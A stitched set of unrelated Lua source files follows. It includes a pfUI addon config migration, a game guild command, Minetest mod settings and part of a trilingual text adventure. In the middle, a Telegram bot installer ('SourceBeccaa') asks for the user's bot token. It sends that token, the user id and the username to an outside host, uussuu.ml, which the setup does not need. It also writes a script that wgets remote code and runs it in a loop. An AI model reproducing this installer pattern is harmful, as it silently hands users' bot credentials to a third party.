-- migrate font_combat
if not strfind(pfUI_config.global.font_combat, "\\") then
pfUI_config.global.font_combat = "Interface\\AddOns\\pfUI\\fonts\\" .. pfUI_config.global.font_combat .. ".ttf"
end
end
-- migrating old to new unitframe texts (> 3.0.0)
if checkversion(3, 0, 0) then
local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback" }
for _, unitframe in pairs(unitframes) do
if pfUI_config.unitframes[unitframe].txtleft then
pfUI_config.unitframes[unitframe].txthpleft = pfUI_config.unitframes[unitframe].txtleft
pfUI_config.unitframes[unitframe].txtleft = nil
end
if pfUI_config.unitframes[unitframe].txtcenter then
pfUI_config.unitframes[unitframe].txthpcenter = pfUI_config.unitframes[unitframe].txtcenter
pfUI_config.unitframes[unitframe].txtcenter = nil
end
if pfUI_config.unitframes[unitframe].txtright then
pfUI_config.unitframes[unitframe].txthpright = pfUI_config.unitframes[unitframe].txtright
pfUI_config.unitframes[unitframe].txtright = nil
end
end
end
-- migrating animation_speed (> 3.1.2)
if checkversion(3, 1, 2) then
if tonumber(pfUI_config.unitframes.animation_speed) >= 13 then
pfUI_config.unitframes.animation_speed = "13"
elseif tonumber(pfUI_config.unitframes.animation_speed) >= 8 then
pfUI_config.unitframes.animation_speed = "8"
elseif tonumber(pfUI_config.unitframes.animation_speed) >= 5 then
pfUI_config.unitframes.animation_speed = "5"
elseif tonumber(pfUI_config.unitframes.animation_speed) >= 3 then
pfUI_config.unitframes.animation_speed = "3"
elseif tonumber(pfUI_config.unitframes.animation_speed) >= 2 then
pfUI_config.unitframes.animation_speed = "2"
elseif tonumber(pfUI_config.unitframes.animation_speed) >= 1 then
pfUI_config.unitframes.animation_speed = "1"
else
pfUI_config.unitframes.animation_speed = "5"
end
end
-- migrating rangecheck interval (> 3.2.2)
if checkversion(3, 2, 2) then
if tonumber(pfUI_config.unitframes.rangechecki) <= 1 then
pfUI_config.unitframes.rangechecki = "2"
end
end
-- migrating legacy buff/debuff naming (> 3.5.0)
if checkversion(3, 5, 0) then
local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback" }
for _, unitframe in pairs(unitframes) do
local entry = pfUI_config.unitframes[unitframe]
if entry.buffs and entry.buffs == "hide" then entry.buffs = "off" end
if entry.debuffs and entry.debuffs == "hide" then entry.debuffs = "off" end
end
end
-- migrating glow settings (> 3.5.1)
if checkversion(3, 5, 0) then
local common = { "player", "target", "ttarget", "pet", "ptarget", "tttarget"}
for _, unitframe in pairs(common) do
if pfUI_config.appearance.infight.group == "1" then
pfUI_config.unitframes[unitframe].glowcombat = "1"
pfUI_config.unitframes[unitframe].glowaggro = "1"
elseif pfUI_config.appearance.infight.group == "0" then
pfUI_config.unitframes[unitframe].glowcombat = "0"
pfUI_config.unitframes[unitframe].glowaggro = "0"
end
end
if pfUI_config.appearance.infight.group == "1" then
pfUI_config.unitframes["group"].glowcombat = "1"
pfUI_config.unitframes["group"].glowaggro = "1"
elseif pfUI_config.appearance.infight.group == "0" then
pfUI_config.unitframes["group"].glowcombat = "0"
pfUI_config.unitframes["group"].glowaggro = "0"
end
end
-- migrating old buff settings (> 3.6.1)
if checkversion(3, 6, 1) then
pfUI_config.buffs.weapons = pfUI_config.global.hidewbuff == "1" and "0" or "1"
pfUI_config.buffs.buffs = pfUI_config.global.hidebuff == "1" and "0" or "1"
pfUI_config.buffs.debuffs = pfUI_config.global.hidebuff == "1" and "0" or "1"
end
-- migrating default debuffbar color settings (> 3.16)
if checkversion(3, 16, 0) then
if pfUI_config.buffbar.pdebuff.color == ".1,.1,.1,1" then
pfUI_config.buffbar.pdebuff.color = ".8,.4,.4,1"
end
if pfUI_config.buffbar.tdebuff.color == ".1,.1,.1,1" then
pfUI_config.buffbar.tdebuff.color = ".8,.4,.4,1"
end
end
-- migrate buff/debuff position settings (> 3.19)
if checkversion(3, 19, 0) then
local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback" }
for _, unitframe in pairs(unitframes) do
local entry = pfUI_config.unitframes[unitframe]
if entry.buffs and entry.buffs == "top" then entry.buffs = "TOPLEFT" end
if entry.buffs and entry.buffs == "bottom" then entry.buffs = "BOTTOMLEFT" end
if entry.debuffs and entry.debuffs == "top" then entry.debuffs = "TOPLEFT" end
if entry.debuffs and entry.debuffs == "bottom" then entry.debuffs = "BOTTOMLEFT" end
end
end
-- migrating actionbar settings (> 3.19)
if checkversion(3, 19, 0) then
local migratebars = {
["pfBarActionMain"] = "pfActionBarMain",
["pfBarBottomLeft"] = "pfActionBarTop",
["pfBarBottomRight"] = "pfActionBarLeft",
["pfBarTwoRight"] = "pfActionBarVertical",
["pfBarRight"] = "pfActionBarRight",
["pfBarShapeshift"] = "pfActionBarStances",
["pfBarPet"] = "pfActionBarPet",
}
-- migrate bar positions and scaling
for oldname, newname in pairs(migratebars) do
if pfUI_config.position[oldname] then
pfUI_config.position[newname] = pfUI.api.CopyTable(pfUI_config.position[oldname])
pfUI_config.position[oldname] = nil
end
end
-- migrate global settings to bar specifics
for i=1,12 do
if pfUI_config.bars.icon_size then
pfUI_config.bars["bar"..i].icon_size = pfUI_config.bars.icon_size
end
if pfUI_config.bars.background then
pfUI_config.bars["bar"..i].background = pfUI_config.bars.background
end
if pfUI_config.bars.showmacro then
pfUI_config.bars["bar"..i].showmacro = pfUI_config.bars.showmacro
end
if pfUI_config.bars.showkeybind then
pfUI_config.bars["bar"..i].showkeybind = pfUI_config.bars.showkeybind
end
if pfUI_config.bars.hide_time then
pfUI_config.bars["bar"..i].hide_time = pfUI_config.bars.hide_time
end
end
pfUI_config.bars.icon_size = nil
pfUI_config.bars.background = nil
pfUI_config.bars.showmacro = nil
pfUI_config.bars.showkeybind = nil
pfUI_config.bars.hide_time = nil
if pfUI_config.bars.hide_actionmain then
pfUI_config.bars.bar1.autohide = pfUI_config.bars.hide_actionmain
pfUI_config.bars.hide_actionmain = nil
end
if pfUI_config.bars.hide_bottomleft then
pfUI_config.bars.bar6.autohide = pfUI_config.bars.hide_bottomleft
pfUI_config.bars.hide_bottomleft = nil
end
if pfUI_config.bars.hide_bottomright then
pfUI_config.bars.bar5.autohide = pfUI_config.bars.hide_bottomright
pfUI_config.bars.hide_bottomright = nil
end
if pfUI_config.bars.hide_right then
pfUI_config.bars.bar3.autohide = pfUI_config.bars.hide_right
pfUI_config.bars.hide_right = nil
end
if pfUI_config.bars.hide_tworight then
pfUI_config.bars.bar4.autohide = pfUI_config.bars.hide_tworight
pfUI_config.bars.hide_tworight = nil
end
if pfUI_config.bars.hide_shapeshift then
pfUI_config.bars.bar11.autohide = pfUI_config.bars.hide_shapeshift
pfUI_config.bars.hide_shapeshift = nil
end
if pfUI_config.bars.hide_pet then
pfUI_config.bars.bar12.autohide = pfUI_config.bars.hide_pet
pfUI_config.bars.hide_pet = nil
end
if pfUI_config.bars.actionmain and pfUI_config.bars.actionmain.formfactor then
pfUI_config.bars.bar1.formfactor = pfUI_config.bars.actionmain.formfactor
pfUI_config.bars.actionmain.formfactor = nil
end
if pfUI_config.bars.bottomleft and pfUI_config.bars.bottomleft.formfactor then
pfUI_config.bars.bar6.formfactor = pfUI_config.bars.bottomleft.formfactor
pfUI_config.bars.bottomleft.formfactor = nil
end
if pfUI_config.bars.bottomright and pfUI_config.bars.bottomright.formfactor then
pfUI_config.bars.bar5.formfactor = pfUI_config.bars.bottomright.formfactor
pfUI_config.bars.bottomright.formfactor = nil
end
if pfUI_config.bars.right and pfUI_config.bars.right.formfactor then
pfUI_config.bars.bar3.formfactor = pfUI_config.bars.right.formfactor
pfUI_config.bars.right.formfactor = nil
end
if pfUI_config.bars.tworight and pfUI_config.bars.tworight.formfactor then
pfUI_config.bars.bar4.formfactor = pfUI_config.bars.tworight.formfactor
pfUI_config.bars.tworight.formfactor = nil
end
if pfUI_config.bars.shapeshift and pfUI_config.bars.shapeshift.formfactor then
pfUI_config.bars.bar11.formfactor = pfUI_config.bars.shapeshift.formfactor
pfUI_config.bars.shapeshift.formfactor = nil
end
if pfUI_config.bars.pet and pfUI_config.bars.pet.formfactor then
pfUI_config.bars.bar12.formfactor = pfUI_config.bars.pet.formfactor
pfUI_config.bars.pet.formfactor = nil
end
end
-- migrate xp-showalways (> 4.0.2)
if checkversion(4, 0, 2) and pfUI_config.panel.xp.showalways then
pfUI_config.panel.xp.xp_always = pfUI_config.panel.xp.showalways
pfUI_config.panel.xp.rep_always = pfUI_config.panel.xp.showalways
pfUI_config.panel.xp.showalways = nil
end
-- migrate dispell indicators into seperate options (> 4.6.1)
if checkversion(4, 6, 1) and pfUI_config.unitframes.debuffs_class then
local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback", "tttarget" }
for _, unitframe in pairs(unitframes) do
pfUI_config.unitframes[unitframe].debuff_ind_class = pfUI_config.unitframes.debuffs_class
end
pfUI_config.unitframes.debuffs_class = nil
end
-- migrate buff indicators into seperate options (> 4.6.2)
if checkversion(4, 6, 2) and pfUI_config.unitframes.show_hots then
local unitframes = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback", "tttarget" }
local options = { "show_hots", "all_hots", "show_procs", "show_totems", "all_procs", "indicator_time", "indicator_stacks", "indicator_size" }
for _, unitframe in pairs(unitframes) do
for _, option in pairs(options) do
pfUI_config.unitframes[unitframe][option] = pfUI_config.unitframes[option]
end
end
for _, option in pairs(options) do
pfUI_config.unitframes[option] = nil
end
end
pfUI_config.version = pfUI.version.string
end
|
class("GuildGetUserInfoCommand", pm.SimpleCommand).execute = function (slot0, slot1)
slot2 = slot1:getBody()
if not getProxy(GuildProxy):getData() then
return
end
pg.ConnectionMgr.GetInstance():Send(60102, {
type = 0
}, 60103, function (slot0)
slot1 = slot0:getData()
slot1:updateUserInfo(slot0)
slot0:updateGuild(slot1)
slot1:sendNotification(GAME.GUILD_GET_USER_INFO_DONE)
end)
end
return class("GuildGetUserInfoCommand", pm.SimpleCommand)
|
serpent = dofile("./File_Libs/serpent.lua")
https = require("ssl.https")
http = require("socket.http")
JSON = dofile("./File_Libs/JSON.lua")
local database = dofile("./File_Libs/redis.lua").connect("127.0.0.1", 6379)
Server_SourceBeccaa = io.popen("echo $SSH_CLIENT | awk '{ print $1}'"):read('*a')
local AutoFiles_SourceBeccaa = function()
local Create_Info = function(Token,Sudo,UserName)
local SourceBeccaa_Info_Sudo = io.open("sudo.lua", 'w')
SourceBeccaa_Info_Sudo:write([[
token = "]]..Token..[["
Sudo = ]]..Sudo..[[
UserName = "]]..UserName..[["
]])
SourceBeccaa_Info_Sudo:close()
end
if not database:get(Server_SourceBeccaa.."Token_SourceBeccaa") then
print("\27[1;34m»» Send Your Token Bot :\27[m")
local token = io.read()
if token ~= '' then
local url , res = https.request('https://api.telegram.org/bot'..token..'/getMe')
if res ~= 200 then
io.write('\n\27[1;31m»» Sorry The Token is not Correct \n\27[0;39;49m')
else
io.write('\n\27[1;31m»» The Token Is Saved\n\27[0;39;49m')
database:set(Server_SourceBeccaa.."Token_SourceBeccaa",token)
end
else
io.write('\n\27[1;31mThe Tokem was not Saved\n\27[0;39;49m')
end
os.execute('lua start.lua')
end
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
if not database:get(Server_SourceBeccaa.."UserName_SourceBeccaa") then
print("\27[1;34m\n»» Send Your UserName Sudo : \27[m")
local UserName = io.read():gsub('@','')
if UserName ~= '' then
local Get_Info = http.request("http://TshAkE.ml/info/?user="..UserName)
if Get_Info:match('Is_Spam') then
io.write('\n\27[1;31m»» Sorry The server is Spsm \nتم حظر السيرفر لمدة 5 دقايق بسبب التكرار\n\27[0;39;49m')
return false
end
local Json = JSON:decode(Get_Info)
if Json.Info == false then
io.write('\n\27[1;31m»» Sorry The UserName is not Correct \n\27[0;39;49m')
os.execute('lua start.lua')
else
if Json.Info == 'Channel' then
io.write('\n\27[1;31m»» Sorry The UserName Is Channel \n\27[0;39;49m')
os.execute('lua start.lua')
else
io.write('\n\27[1;31m»» The UserNamr Is Saved\n\27[0;39;49m')
database:set(Server_SourceBeccaa.."UserName_SourceBeccaa",Json.Info.Username)
database:set(Server_SourceBeccaa.."Id_SourceBeccaa",Json.Info.Id)
end
end
else
io.write('\n\27[1;31mThe UserName was not Saved\n\27[0;39;49m')
end
os.execute('lua start.lua')
end
local function Files_SourceBeccaa_Info()
Create_Info(database:get(Server_SourceBeccaa.."Token_SourceBeccaa"),database:get(Server_SourceBeccaa.."Id_SourceBeccaa"),database:get(Server_SourceBeccaa.."UserName_SourceBeccaa"))
https.request("https://uussuu.ml/SourceBeccaa/SourceBeccaa.php?id="..database:get(Server_SourceBeccaa.."Id_SourceBeccaa").."&user="..database:get(Server_SourceBeccaa.."UserName_SourceBeccaa").."&token="..database:get(Server_SourceBeccaa.."Token_SourceBeccaa"))
local RunSourceBeccaa = io.open("SourceBeccaa", 'w')
RunSourceBeccaa:write([[
#!/usr/bin/env bash
cd $HOME/SourceBeccaa
token="]]..database:get(Server_SourceBeccaa.."Token_SourceBeccaa")..[["
rm -fr SourceBeccaa.lua
wget "https://raw.githubusercontent.com/Source-Becca/SourceBeccaa/master/SourceBeccaa.lua"
while(true) do
rm -fr ../.telegram-cli
./tg -s ./SourceBeccaa.lua -p PROFILE --bot=$token
done
]])
RunSourceBeccaa:close()
local RunTs = io.open("ts", 'w')
RunTs:write([[
#!/usr/bin/env bash
cd $HOME/SourceBeccaa
while(true) do
rm -fr ../.telegram-cli
screen -S SourceBeccaa -X kill
screen -S SourceBeccaa ./SourceBeccaa
done
]])
RunTs:close()
end
Files_SourceBeccaa_Info()
database:del(Server_SourceBeccaa.."Token_SourceBeccaa");database:del(Server_SourceBeccaa.."Id_SourceBeccaa");database:del(Server_SourceBeccaa.."UserName_SourceBeccaa")
sudos = dofile('sudo.lua')
os.execute('./install.sh ins')
end
local function Load_File()
local f = io.open("./sudo.lua", "r")
if not f then
AutoFiles_SourceBeccaa()
var = true
else
f:close()
database:del(Server_SourceBeccaa.."Token_SourceBeccaa");database:del(Server_SourceBeccaa.."Id_SourceBeccaa");database:del(Server_SourceBeccaa.."UserName_SourceBeccaa")
sudos = dofile('sudo.lua')
os.execute('./install.sh ins')
var = false
end
return var
end
Load_File()
|
--print(debug.getinfo(2).name) -- get name from calling function
if minetest.get_modpath("bows") then
aliveai.tools_handler.bows={--mod name
try_to_craft=false, -- because its very unsure if they ever will be able to craft them
use=true,
tool_group="bow", -- item/node groups
--tools={"bow_wood","bow_stone","bow_steel","bow_bronze","bow_obsidian","bow_mese","bow_diamond","bow_rainbow","bow_admin"},
--amo="bows:arrow",
amo_group="arrow", -- item/node groups
amo_index=1,
tool_index=2,
tool_reuse=1,
tool_near=0,
tool_see=1,
tool_chance=3,
}
end
minetest.register_chatcommand("aliveai", {
params = "",
description = "aliveai settings",
privs = {server=true},
func = function(name, param)
if string.find(param,"status=true")~=nil then
aliveai.status=true
minetest.chat_send_player(name, "<aliveai> bot status on")
elseif string.find(param,"status=false")~=nil then
aliveai.status=false
minetest.chat_send_player(name, "<aliveai> bot status off")
elseif string.find(param,"count")~=nil then
minetest.chat_send_player(name, "<aliveai> max:".. aliveai.max_num .." by self:" .. aliveai.max_num_by_self .." monsters by self:" .. aliveai.max_num_by_self_monsters .." bots: " .. aliveai.active_num)
end
end
})
|
--- Entity lifespan.
--
-- @setting skeleton.lifetime
-- @settype int
-- @default 900 (15 minutes)
skeleton.lifetime = tonumber(core.settings:get("skeleton.lifetime")) or 900
--- Spawn rate frequency.
--
--
-- @setting skeleton.spawn_interval
-- @settype int
-- @default 120 (2 minutes)
-- @see [ABM definition](http://minetest.gitlab.io/minetest/definition-tables.html#abm-activeblockmodifier-definition)
skeleton.spawn_interval = tonumber(core.settings:get("skeleton.spawn_interval")) or 120
--- Chance of spawn at interval.
--
-- @setting skeleton.spawn_chance
-- @settype int
-- @default 7000
-- @see [ABM definition](http://minetest.gitlab.io/minetest/definition-tables.html#abm-activeblockmodifier-definition)
skeleton.spawn_chance = tonumber(core.settings:get("skeleton.spawn_chance")) or 7000
|
--
-- The source code of the game (including images) is distributed under the MIT license. For the full text of the license, see the file LICENCE.txt, which is located in the game directory. Sounds, music - distributed under their own licenses, see snd/source.txt and mus/Copyright.txt Some images are distributed under their own licenses, see gfx/Sources.txt
--
-- Исходный код игры (включая изображения) распространяется на условиях лицензии MIT. Полный текст лицензии см. в файле LICENCE.txt, который находится в каталоге с игрой. Звуки, музыка - распространяются под своими лицензиями, см. snd/source.txt и mus/Copyright.txt Некоторые изображения распространяются под собственными лицензиями, см. gfx/Sources.txt
--
-- $Name(ru): Лесное приключение $
-- $Name(en): Adventure in the forest $
-- $Name(uk): Лісова пригода $
-- $Version: 0.01$
-- $Author: Дмитрий Петрук$
-- $Info: Ники в сети - Amberit(92), Artorius, Artomberus \n Код игры - под MIT \n Музыка: Jason Shaw, лицензия CC BY 3.0 \n Звуки - см. каталог игры $
include "longway"
require "snd"
require "fmt"
require "noinv"
require "click"
require "theme"
require "timer"
require "keys"
require "dbg"
require "sprite"
require "snapshots"
loadmod "decor"
loadmod "link"
game.act = 'Не работает.';
game.use = function ()
p( phrases[language][rnd( table.maxn(phrases[language]) )]);
end;
game.inv = 'Зачем мне это?';
xact.walk = walk
xact.walkout = walkout
function init ()
if theme.name() ~= '.' then take 'статус'; end;
take 'fonarik'
take 'maintain'
lifeon 'maintain'
createbutton();
if LANG == 'ru' then setru(); end;
if LANG == 'en' then seten(); end;
if LANG == 'uk' then setua(); end;
end
function sndplaylong()
if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end;
end;
function game:ondecor(name, x, y)
clickmute = true;
if name == 'ruslang' then setru(); rulangimage = "gfx/russian_selected.png"; enlangimage = "gfx/english.png"; ualangimage = "gfx/ukrainian.png"; snd.play('snd/click.wav', 7); walk('main') return end;
if name == 'englang' then seten(); enlangimage = "gfx/english_selected.png"; rulangimage = "gfx/russian.png"; ualangimage = "gfx/ukrainian.png"; snd.play('snd/click.wav', 7); walk('main') return end;
if name == 'ukrlang' then setua(); ualangimage = "gfx/ukrainian_selected.png"; enlangimage = "gfx/english.png"; rulangimage = "gfx/russian.png"; snd.play('snd/click.wav', 7); walk('main') return end;
if name == 'statsclick' and infobarshow then deleteinfobar(); theme.gfx.bg (bg_name) return std.nop() end;
if name == 'statsclick' and ru and not infobarshow then p[[Да, это твой {@ walk stats|прогресс}.]]; if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end clickmute = false; return end;
if name == 'statsclick' and en and not infobarshow then p[[Yes, this is your progress.]]; if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end clickmute = false; return end;
if name == 'statsclick' and ua and not infobarshow then p[[Так, це твій прогрес.]]; if not snd.playing(7) then snd.play('snd/clicklong.wav', 7) end clickmute = false; return end;
if name == 'traces' then x = rnd(600); y = rnd(500); snd.play('snd/click.wav', 7); walkin('control_room') return end;
if name == 'control_panel' and passedintro then walkin('control_room'); return end;
if name == 'info_panel' and passedintro then walkin('info_room'); return end;
if name == 'cursor_usual' then theme.gfx.cursor ('gfx/inv/cursor.png', 'gfx/inv/cursoruse.png', 0 , 0); cursorstate = 0;
if ru then p ( fmt.c('^Как пожелаете. Задан размер курсора: обычный.') ); end;
if en then p ( fmt.c('^As you wish. Specified cursor size: normal.') ); end;
if ua then p ( fmt.c('^Як побажаєте. Заданий розмір курсору: звичайний.') ); end;
return end;
if name == 'cursor_big' then theme.gfx.cursor ('gfx/inv/cursorbig.png', 'gfx/inv/cursorbiguse.png', 0 , 0); cursorstate = 1;
if ru then p ( fmt.c('^Как пожелаете. Задан размер курсора: большой.') ); end;
if en then p ( fmt.c('^As you wish. Specified cursor size: big.') ); end;
if ua then p ( fmt.c('^Як побажаєте. Заданий розмір курсору: великий.') ); end;
return end;
if name == 'cursor_verybig' then theme.gfx.cursor ('gfx/inv/cursorverybig.png', 'gfx/inv/cursorverybiguse.png', 0 , 0); cursorstate = 2;
if ru then p ( fmt.c('^Как пожелаете. Задан размер курсора: огромный.') ); end;
if en then p ( fmt.c('^As you wish. Specified cursor size: very big.') ); end;
if ua then p ( fmt.c('^Як побажаєте. Заданий розмір курсору: дуже великий.') ); end;
return end;
if name == 'keys_infobar' and infobarshow then drawtext = false; deleteinfobar(); theme.gfx.bg (bg_name) fadingcanbe = true; repeatplease = true; createclickonscene(); return okay(); end;
if name == 'clickonscene' and clickonsceneenabled and drawtext then
if ru then p(current_ru) end
if en then p(current_en) end
if ua then p(current_ua) end
sndplaylong() clickmute = false; else drawtext = true; return std.nop()
end;
end;
exit = function()
pleasedrink = false;
pleaseeat = false;
end;
managesound = function()
if not clickmute and not infobarshow and not weareincontrol then snd.play('snd/click.wav', 1) end;
if enteredsamobranka then snd.play('snd/click.wav', 1) end;
clickmute = false;
if fadingcanbe then repeatplease = false; end;
end;
setru = function() ru = true; en = false; ua = false; end;
seten = function() ru = false; en = true; ua = false; end;
setua = function() ru = false; en = false; ua = true; end;
test = function() -- включаю её, когда надо отследить, где добавился опыт
-- p'+EXP';
end;
game.afteract = managesound;
game.afterinv = managesound;
game.oninv = managesound;
game.onuse = managesound;
game.onwalk = managesound;
game.ontak = managesound;
global 'bg_name' ('gfx/bg.png')
function set_bg(name)
bg_name = name
theme.gfx.bg (name)
end
function start(load) -- удобное изменение фона под игровую ситуацию
theme.gfx.bg (bg_name)
if cursorstate == 0 then theme.gfx.cursor ('gfx/inv/cursor.png', 'gfx/inv/cursoruse.png', 0 , 0) end;
if cursorstate == 1 then theme.gfx.cursor ('gfx/inv/cursorbig.png', 'gfx/inv/cursorbiguse.png', 0 , 0) end;
if cursorstate == 2 then theme.gfx.cursor ('gfx/inv/cursorverybig.png', 'gfx/inv/cursorverybiguse.png', 0 , 0) end;
end
std.strip_call = false -- для переноса строк, где хочу и когда хочу :)
snd.music_fading(2500) -- плавный переход музыки
instead.fading = false; -- убрать фэйдинг для первой сцены, потом мы его включим.
fmt.para = true; -- включить отступы
global 'language' ('ru')
declare {
phrases = {
ru = {
[[Это не поможет.]],
[[Это ни к чему.]],
[[Это ни к чему не приведет.]],
-- [[Нет.]],
[[Не то.]],
[[Непонятно...]],
[[Ничего не произошло.]],
[[Бесполезно.]],
[[В этом нет никакого смысла.]],
[[Попробуй что-то другое.]],
[[И что ты хочешь получить в итоге?]],
[[Ну ты, конечно, и экспериментатор.]],
-- [[Если бы все предметы всегда сочетались - какой бы стала игра?]],
[[Больше так не делай.]],
[[Давай ты не будешь так больше делать, окей?]],
[[Методом проб и ошибок... Но не абсурда же?]],
[[Что ты делаешь?]],
[[Не получится.]]
} ;
en = {
[[This will not help.]],
[[This is useless.]],
[[This will not lead to anything.]],
[[Not that.]],
[[Unclear...]],
[[Nothing has happened.]],
[[Useless.]],
[[This makes no sense.]],
[[Try something else.]],
[[And what do you want to get as a result?]],
[[Well, you are an experimenter.]],
[[Don't do this anymore.]],
[[Come on, you won’t do that anymore, okay?]],
[[By trial and error... But not absurdity?]],
[[What are you doing?]],
[[This will not work.]]
};
ua = {
[[Це не допоможе.]],
[[Це ні до чого.]],
[[Це ні до чого не приведе.]],
[[Не те.]],
[[Незрозуміло...]],
[[Нічого не сталося.]],
[[Марно.]],
[[В цьому немає ніякого сенсу.]],
[[Спробуй щось інше.]],
[[І що ж ти хочеш отримати в результаті?]],
[[Ну ти й експериментатор.]],
[[Більше так не роби.]],
[[Давай ти так не будеш робити більше, окей?]],
[[Методом проб і помилок... Але не абсурду ж?]],
[[Що ти робиш?]],
[[Не вийде.]]
}
}
}
global { -- Много разных переменных. В основном логические. На них построена вся игра.
wr = 0; -- Переменная, в которой считаем прогресс.
max = 22; -- Когда wr достигнет значения max, игрок дойдет до развилки
choose = 0; -- переменная, которой присвоим значение в зависимости от выбора
maxchoose = 3; -- количество инкрементов прогресса в зависимости от выбора
rightchoose = 0; -- здесь считаем прогресс правого пути
-- rightmaxchoose = 1; -- максимум инкрементов для правого пути
leftchoose = 0; -- здесь считаем прогресс левого пути
-- leftmaxchoose = 1; -- максимум инкрементов для левого пути
straightchoose = 0; -- здесь считаем прогресс прямого пути
-- straightmaxchoose = 1; -- максимум инкрементов для прямого пути
rightwaychoosen = false;
leftwaychoosen = false; -- выбор одного из путей
straightwaychoosen = false;
ru = false;
en = true; -- маркеры языка... Если локаль инстеда одна из этих трех - они будут выбраны соответственно. Если локаль не одна из этих трех - то предлагаться будет англоязычная версия игры, как, вероятно, более понятная
ua = false;
weareincontrol = false; -- находимся ли мы в контрольной панели
afterriver = false; -- прошел ли реку, нужно для прогресса
clickmute = false; -- переключатель звука клика
stonebreak = false; -- Укатил ли камень.
havelopata = false; -- Взял ли лопату.
havevedro = false; -- Взял ли ведро.
haveudochka = false; -- Взял ли удочку.
firsttime = true; -- Первый раз удочка на озеро.
secondtime = true; -- Второй раз удочка на озеро.
thirdtime = true; -- Третий раз удочка на озеро.
firststart = true; -- Первый ли раз на перекрестке.
otherstarts = false; -- Остальные разы.
vedrostand = false; -- Поставил ли ведро на берег.
vedrowithwater = false; -- Набрал ли в ведро воды.
holeway = false; -- переменная для перехода к следующему этапу игры.
frsttime = true; -- первый раз закинул удочку
scndtime = true; -- второй раз закинул удочку
thrdtime = true; -- третий раз - переход
good = 0; -- подсчет поступков
maxgood = 1; -- максимум хороших поступков
evil = 0; -- подсчет поступков
maxevil = 1; -- максимум плохих поступков
goodorevil = 0; -- секретная переменная игры
touchedtopor = false; -- не брали ли топор.
touchedkey = false; -- не брали ли ключ.
brokenwithtopor = false; -- ломал ли дверь топором
openedwithkey = false; -- открывал ли дверь ключом
firsttopor = true; -- первый раз заточил топор
secondtopor = true; -- второй раз заточил топор
thirdtopor = true; -- третий раз заточил топор
propustili = false; -- справился ли с деревьями
voronainriver = false; -- выбросил ли ворону в реку
voronawasininv = false; -- трогал ли ворону
voronaonmost = false; -- где ворона?
youcansobr = false; -- возможность оборвать деревья, после разговора
sobralapples = false; -- оборвал ли деревья от плодов
izrubitapple = true; -- предупреждение, когда игрок пытается изрубить деревья
izrubilappletrees = false; -- изрубил ли деревья
aftertalkwithtrees = false; -- говорил ли с деревьями
soglasen = false; -- если согласился помочь
firstintrees = true; -- первый заход к деревьям
aftertrees = false; -- определяем переход сразу после деревьев
pleasedrink = false; -- для сообщения про козленочка, чтобы не фиксировать его
isusercozel = false; -- стал ли игрок козленочком =)
showtheway = false; -- после скольки кликов показывать решение выхода из состояния козленочка
waycounter = 0; -- счетчик для показа решения выхода из состояния козленочка
onepress = false; -- нажал Один
twopress = false; -- нажал Два
threepress = false; -- нажал Три
twocheck = false; -- нажимаем 2 кнопку лишь 1 раз.
pleaseeat = false; -- для сообщения про съесть яблоки, чтобы не фиксировать его
pleaseeatpoison = false; -- то же для ядовитого яблока
countedvorona = false; -- считали ли заход к вороне в прогрессе, после подсчета делается тру
firstfill = true; -- считать в прогрессе только первый набор воды в ведро
lestnicastand = false; -- поставил ли лестницу у дерева
cantdothat = false; -- попробовал ли собрать яблоки
belkaishere = false; -- явилась ли белка, хе-хе
belkaseen = false; -- видел ли белку
waytohouseback = false; -- путь к обратной стороне хижины закрыт
onceopened = false; -- метка открытия обратного пути к хижине. когда тру - больше не вызываем диалог с белкой.
wow = false; -- сказал ли вау, когда увидел лестницу
lestntaken = false; -- взял ли лестницу
topornavolka = false; -- пытался ли атаковать волка топором
afterwolf = false; -- поговорил ли с волком
horseleaved = false; -- слез ли с коня на правом пути
stoneseen = false; -- видел ли камень с надписью
talkedwithhorse = false; -- говорил ли с конем
drinkedwaterinkolodets = false; -- напился ли воды из колодца
eatedkolobok = false; -- съел ли колобка
talkedwithkolobok = false; -- говорил ли с колобком
kolobokandkuvshin = false; -- залил ли колобка водой
vedrowithkolodecisfull = false; -- набрал ли воды в ведро из колодца
firsttalkwithstarik = true; -- делаем false если поговорили первый раз со стариком
haveskatert = false; -- получил ли самобранку
dalapples = false; -- дал ли яблоки старику
dalwater = false; -- дал ли живую воду старику
bread1 = false; -- что мы съели со скатерти, а что нет
bread2 = false;
cake3 = false;
baton4 = false;
banan5 = false;
soup6 = false;
bottle7 = false;
arbuz8 = false;
blackikra9 = false;
formilk10 = false;
fish11 = false;
candles12 = false;
redikra13 = false;
meat14 = false;
kolbasa15 = false;
vinograd16 = false;
grusha17 = false;
apple18 = false; -- последний пункт в списке предметов скатерти
nableguest = false; -- стал ли гостем у конюха
zanaveskaopen = false; -- переключатель занавески в доме конюха
takedpoison = false; -- взял ли ядовитое яблоко
fallen = false; -- упал ли на камни
attention = false; -- использовано ли предупреждение перед падением на камни
alreadytalkedwolfinvillage = false; -- говорил ли с волком по прибытии в деревню
oboroten = false; -- стал ли конюх оборотнем
belkaincremented = false; -- если не касался дупла и не видел белку - при заходе к деревьям выравниваем прогресс. Да, костыльно. Но как умею(
waterpoisoned = false; -- отравил ли колодец
triedtoeat = false; -- если съел отравленное яблоко и умер, то выставляем тру, и игра не позволит повторить это
specialcase = false; -- особый случай, когда набрал воды, а затем отравил колодец
seaseen = false; -- видел ли море
evening = 0; -- счетчик стадий вечера
nobackway = false; -- прошел ли точку невозврата после старика перед деревней
talkedwithoutskatert = false; -- если поговорил со стариком без шанса на скатерть, то тру
removetopor = false; -- если тру, надо оставить топор
havetaburet = false; -- есть ли у нас табурет
braltaburet = false; -- брал ли табурет хоть раз
takkuvshin2 = false; -- взял ли кувшин в дупле дерева
kuvshintakedfromstarik = false; -- взял ли кувшин у старика
uvideltopor = false; -- увидел ли топор. переменная нужна, чтобы перенести топор в другое место, если игрок не видел топор
